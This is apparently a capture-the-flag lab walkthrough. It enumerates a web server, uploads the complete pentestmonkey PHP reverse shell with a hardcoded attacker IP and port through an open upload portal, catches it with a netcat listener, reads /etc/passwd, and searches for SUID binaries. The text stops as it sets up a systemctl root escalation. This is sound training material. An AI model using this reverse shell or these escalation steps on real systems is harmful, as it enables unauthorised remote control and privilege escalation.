gobuster dir --url http://10.10.110.48:3333/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt
We find the /internal directory, where we can upload files via the internal upload portal:
Arbitrary file upload
The internal upload portal, has no authentication and supports arbitrary file upload of .phtml files.
Remote Code Execution
To get a shell access we create the following php-reverse-shell.phtml file to exploit the file upload vulnerability:
<?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION ="1.0";$ip ='10.17.30.161'; // CHANGE THIS$port =4444; // CHANGE THIS$chunk_size =1400;$write_a =null;$error_a =null;$shell ='uname -a; w; id; /bin/sh -i';$daemon =0;$debug =0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit $pid =pcntl_fork();if ($pid ==-1) {printit("ERROR: Can't fork");exit(1); }if ($pid) {exit(0); // Parent exits }// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid()==-1) {printit("Error: Can't setsid()");exit(1); } $daemon =1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock =fsockopen($ip, $port, $errno, $errstr,30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec =array(0=>array("pipe","r"),// stdin is a pipe that the child will read from1=>array("pipe","w"),// stdout is a pipe that the child will write to2=>array("pipe","w") // stderr is a pipe that the child will write to);$process =proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break; }// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break; }// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR $read_a =array($sock, $pipes[1], $pipes[2]); $num_changed_sockets =stream_select($read_a, $write_a, $error_a,null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input =fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input); }// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input =fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input); }// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input =fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input); }}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)functionprintit ($string) {if (!$daemon) {print"$string\n"; }}?>
We can easily execute our php-reverse-shell.phtml file by visiting the link http://10.10.110.48:3333/internal/uploads/php-reverse-shell.phtml
To connect to the reverse shell we create a simple netcat listener using:
nc-vnlp4444
We can make this shell better by spawning a bash shell with python. This will help us run commands through shell access that is not possible through this reverse shell.
Foot holding
The initial access is for the user www-data:
Find who has access to what resources
We can dump the /etc/passwd file contents using the user account www-data:
We find that the user bill has the shell access:
User FLAG
Find files with SUID set
find/-perm-u=s-typef2>/dev/null
We find systemctl has SUID set. So with by enabling a malicious service we can get root shell access.
Privilege Escalation
Plan is to spawn another reverse shell back to attacker machine with root access. We do this by creating the following root.service in the /tmp directory because we have write access to it: